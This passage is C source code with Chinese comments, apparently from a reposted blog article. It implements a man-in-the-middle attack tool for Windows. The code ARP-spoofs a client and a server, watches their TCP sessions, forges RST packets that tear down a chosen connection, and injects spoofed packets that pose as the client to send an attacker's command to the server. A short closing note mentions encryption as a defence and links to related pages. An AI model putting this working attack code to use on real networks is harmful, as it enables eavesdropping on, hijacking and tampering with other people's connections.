            //usIPHeadLen = (pTCPPacket->iphdr.h_verlen & 0x0F) * sizeof(unsigned long);
            //usTCPHeadLen = ((pTCPPacket->tcphdr.th_lenres >> 4) & 0x0F) * sizeof(unsigned long);
            //usDataLen = ntohs(pTCPPacket->iphdr.total_len) - usIPHeadLen - usTCPHeadLen;
            usDataLen = ntohs(pTCPPacket->iphdr.total_len) - 40;
            //reset ctrl link flag
            bDeleteNode = FALSE;
            bAddNew = FALSE;
            //如果收到rst或fin包,则把此连接节点信息删除
            if( (pTCPPacket->tcphdr.th_flag & 0x4) ||//rst
                (pTCPPacket->tcphdr.th_flag & 0x1) )//fin
                bDeleteNode = TRUE;
            //收到带P标志的TCP包,才创建新的节点,如果此节点还不存在的话
            if(pTCPPacket->tcphdr.th_flag & 0x8 ) bAddNew = TRUE;
            //server:xx --> client:xx
            if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szServerSideMAC, 6) == 0)
            {
                //update link info
                ident = CtrlConnInfoLink(pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport,
                    pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport, bDeleteNode, bAddNew);
                bClientToServer = FALSE;
            }
            //server:xx <-- client:xx
            else if( memcmp(pTCPPacket->ehhdr.SourceMAC, g_szClientSideMAC, 6) ==0)
            {
                //update link info
                ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport,
                    pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, bDeleteNode, bAddNew);
                bClientToServer = TRUE;
            }
            else
                continue;
            //检查是否想控制的那个连接的包
            //捕获到一个从ClientSide -> ServerSide的纯ack包后才开始劫持
            //触发劫持的条件可自行修改,我比较喜欢在客户发送一个存ACK包给SERVER后才开始劫持
            if(ident == g_dwCtrlConn)
            {
                if( (IsACKPacket(pTCPPacket->tcphdr.th_flag)) && (bClientToServer) )
                {
                    //reset the connection
                    if(g_dwAction == ACTION_RESET)
                    {
                        //send rst action,把ack包的ack做为rst包的seq,把seq作为ack
                        SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
                        //update link
                        ident = CtrlConnInfoLink(pTCPPacket->iphdr.destIP, pTCPPacket->tcphdr.th_dport,
                                pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
                        //reset action flag
                        ResetActionAllFlag();
                    }
                    //start hijack
                    else if(g_dwAction == ACTION_HIJACK)
                    {
                        //send rst packet to client
                        SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
                        //send hijack packet to client
                        SendHiJackPacket(pTCPPacket);
                        //reset action flag
                        ResetActionAllFlag();
                    }
                }
                //show the tcp data
                if( (g_dwAction == ACTION_WATCH) && (usDataLen) )
                {
                    ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
                    //暂不考虑IP、TCP头不是20字节的情况
                    //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
                    pStr = (char *)pTCPPacket + 54;
                    for(i=0; i<usDataLen; printf("%c", pStr[i]), i++);
                }
            }
            //debug output
            //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
        }//end of analyse packets while
    }//end of recv packets while
    PacketFreePacket(lpRecvPacket);
    return 0;
}


//
//功能:操作记录所有连接信息的单向链表
//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
                        USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
    PCONNINFO    pNew, pTmp;

    pTmp = g_pConnHead;
    while(pTmp)
    {
        if(pTmp->bActive)
        {
            //found it
            if( (pTmp->dwServerIP == dwServerIP) &&
                (pTmp->uServerPort == uServerPort) &&
                (pTmp->dwClientIP == dwClientIP) &&
                (pTmp->uClientPort == uClientPort) )
            {
                if(bDelete)
                {
                    pTmp->bActive = FALSE;
                    return 0;
                }
                else return pTmp->ident;
            }
        }
        pTmp = pTmp->Next;
    }
    //not found, create new node
    if( (!pTmp) && (!bDelete) && (bAddNew) )
    {
        //search unactive note
        pTmp = g_pConnHead;
        while(pTmp)
        {
            if(!pTmp->bActive) break;
            pTmp = pTmp->Next;
        }
        //found a unactive node
        if(pTmp)
        {
            pTmp->dwServerIP = dwServerIP;
            pTmp->uServerPort = uServerPort;
            pTmp->dwClientIP = dwClientIP;
            pTmp->uClientPort = uClientPort;
            pTmp->bActive = TRUE;
            return pTmp->ident;
        }
        //not found,create new node
        pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
        if(!pNew)
        {
            printf("malloc for link node error:%d/n", GetLastError());
            return 0;
        }
        //fill the struct
        pNew->bActive = TRUE;
        pNew->dwServerIP = dwServerIP;
        pNew->uServerPort = uServerPort;
        pNew->dwClientIP = dwClientIP;
        pNew->uClientPort = uClientPort;
        pNew->ident = ++g_ident;
        pNew->Next = NULL;
        //add new node to link
        if(!g_pConnHead)
            g_pConnHead = g_pConnLast = pNew;
        else
        {
            g_pConnLast->Next = pNew;
            g_pConnLast = pNew;
        }
        return pNew->ident;
    }
    return 0;
}

//
//功能:判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
{
    int    i, j=1;
    for(i=0 ; i<4; i++)
    {
        if(flag & j) return FALSE;
        j <<= 1;
    }
    if(!(flag & 0x10)) return FALSE;//is ack?
    if(flag & 0x20) return FALSE;
    return TRUE;
}

//
//功能:伪装成Client给Server发送数据包
//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{

    char        szBuff[1520];
    PSDHDR        psdhdr;
    PTCPPACKET    pHiJackPacket = NULL;
    BOOL        bRet = FALSE;

    __try
    {
        //
        if(!g_pCurrCtrlConn) __leave;
        //allocate memory for hijack packet
        pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
        if(!pHiJackPacket)
        {
            printf("malloc error:%d/n", GetLastError());
            __leave;
        }
        memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
        //-------------- modify the packet ---------------//
        //modify ethernet head
        memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
        memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
        //modify ip head
        pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
        pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
        pHiJackPacket->iphdr.ident += 1;//标识加1
        pHiJackPacket->iphdr.checksum = 0;
        pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
        pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
        //modify tcp head
        pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
        pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
        pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0);
        pHiJackPacket->tcphdr.th_flag = 0x18;// PA
        pHiJackPacket->tcphdr.th_sum = 0;
        pHiJackPacket->tcphdr.th_win = 0x3F44;
        //fill tcp psd head
        psdhdr.saddr = pHiJackPacket->iphdr.sourceIP;                    
        psdhdr.daddr = pHiJackPacket->iphdr.destIP;                    
        psdhdr.mbz = 0;
        psdhdr.ptcl = IPPROTO_TCP;
        psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
        //calculate tcp checksum        
        memcpy(szBuff, &psdhdr, sizeof(PSDHDR));    
        memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
        memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
        pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
        //calculate IP checksum
        pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
        //fill send buffer                    
        memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
        memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
        memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
        memset(g_lpSendPacket->Buffer, 0, 1514);
        memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
        if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
        {
            printf("Error sending the hijack packets!/n");
            __leave;
        }
        else printf("Send hijack packet ok!/n");
        bRet = TRUE;
    }
    __finally
    {
        if(pHiJackPacket) free(pHiJackPacket);
    }
    return bRet;
}


//
//功能:伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
    char        szBuff[60];
    PSDHDR        psdhdr;
    PTCPPACKET    pTcpPacket = NULL;
    BOOL        bRet = FALSE;

    __try
    {
        //检查当前指向想控制的连接的信息的指针是否为空
        if(!g_pCurrCtrlConn) __leave;
        //allocate memory for rst packet
        pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
        if(!pTcpPacket)
        {
            printf("malloc error:%d/n", GetLastError());
            __leave;
        }
        //fill ethernet head
        memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
        memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
        pTcpPacket->ehhdr.EthernetType = htons(EPT_IP);
        //fil ip head
        pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
        pTcpPacket->iphdr.tos = 0;
        pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
        pTcpPacket->iphdr.ident = 1;
        pTcpPacket->iphdr.frag_and_flags = 0;
        pTcpPacket->iphdr.ttl = 128;
        pTcpPacket->iphdr.proto = IPPROTO_TCP;
        pTcpPacket->iphdr.checksum = 0;
        pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
        pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
        //fill tcp head
        pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
        pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口
        pTcpPacket->tcphdr.th_seq = seq;//SYN
        pTcpPacket->tcphdr.th_ack = ack;//ACK
        pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0);
        pTcpPacket->tcphdr.th_flag = 4;//RST flag
        pTcpPacket->tcphdr.th_win = 0;
        pTcpPacket->tcphdr.th_urp = 0;
        pTcpPacket->tcphdr.th_sum = 0;
        //fill tcp psd head
        psdhdr.saddr = pTcpPacket->iphdr.sourceIP;                    
        psdhdr.daddr = pTcpPacket->iphdr.destIP;                    
        psdhdr.mbz = 0;
        psdhdr.ptcl = IPPROTO_TCP;
        psdhdr.tcpl = htons(sizeof(TCPHDR));
        //calculate tcp checksum        
        memcpy(szBuff, &psdhdr, sizeof(PSDHDR));    
        memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
        pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
        //calculate IP checksum
        pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR));
        //fill send buffer
        memset(g_lpSendPacket->Buffer, 0, 1514);
        memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
        if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
        {
            printf("Error sending the rst packets!/n");
            __leave;
        }
        else printf("Send RST packet ok!/n");
        bRet = TRUE;
    }
    __finally
    {
        if(pTcpPacket) free(pTcpPacket);
    }
    return bRet;
}

//
//功能:计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
  unsigned long cksum=0;
  while(size >1) {
    cksum+=*buffer++;
    size -=sizeof(USHORT);
  }
  if(size ) {
    cksum += *(UCHAR*)buffer;
  }
  cksum = (cksum >> 16) + (cksum & 0xffff);
  cksum += (cksum >>16);
  return (USHORT)(~cksum);
}

//
//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
    int    iType = *(int *)lpType;
    ARPPACKET    ArpPacket;
    LPPACKET    lpArpPacket;
    char        szArpBuff[60];

    switch(iType)
    {
        case 1:
            memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
            ArpPacket.arphdr.DestIP = g_ServerSideIP;
            ArpPacket.arphdr.SourceIP = g_ClientSideIP;
            break;
        case 2:
            memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
            ArpPacket.arphdr.DestIP = g_ClientSideIP;
            ArpPacket.arphdr.SourceIP = g_ServerSideIP;
            break;
        default:
            return 0;
    }
    //ethernet head
    memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
    ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
    //arp head
    memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
    memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
    ArpPacket.arphdr.HrdAddrlen = 6;
    ArpPacket.arphdr.ProAddrLen = 4;
    ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
    ArpPacket.arphdr.ProType = htons(EPT_IP);
    ArpPacket.arphdr.op = htons(2);//arp reply

    lpArpPacket = PacketAllocatePacket();
    if(lpArpPacket == NULL)
    {
        printf("Error:failed to allocate the LPPACKET structure for Arp spoof./n");
        return 0;
    }
    memset(szArpBuff, 0, sizeof(szArpBuff));
    memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
    PacketInitPacket(lpArpPacket, szArpBuff, 60);
    //send arp packet
    while(1)
    {
        if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
        {
            printf("Error sending the arp spoof packets!/n");
            return 0;
        }
        Sleep(1000);
    }
    return 0;
}

//
//功能:输入IP取得对应的MAC地址
//
BOOL GetMACAddr(DWORD DestIP, char *pMAC)
{
    DWORD    dwRet;
    ULONG    ulLen = 6, pulMac[2];
    dwRet = SendARP(DestIP, 0, pulMac, &ulLen);
    if(dwRet == NO_ERROR)
    {
        memcpy(pMAC, pulMac, 6);
        return TRUE;
    }
    else return FALSE;
}

allyesno注:文章中所说的防御方法

1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。

俺昨天就想到一个笨办法进行监听 看来普通的验证机制还是有待加强

参看文章http://blog.csdn.net/freexploit/archive/2005/08/25/465366.aspx ssl/tsl/wtsl原理

http://www.monkey.org/~dugsong/dsniff/

原创粉丝点击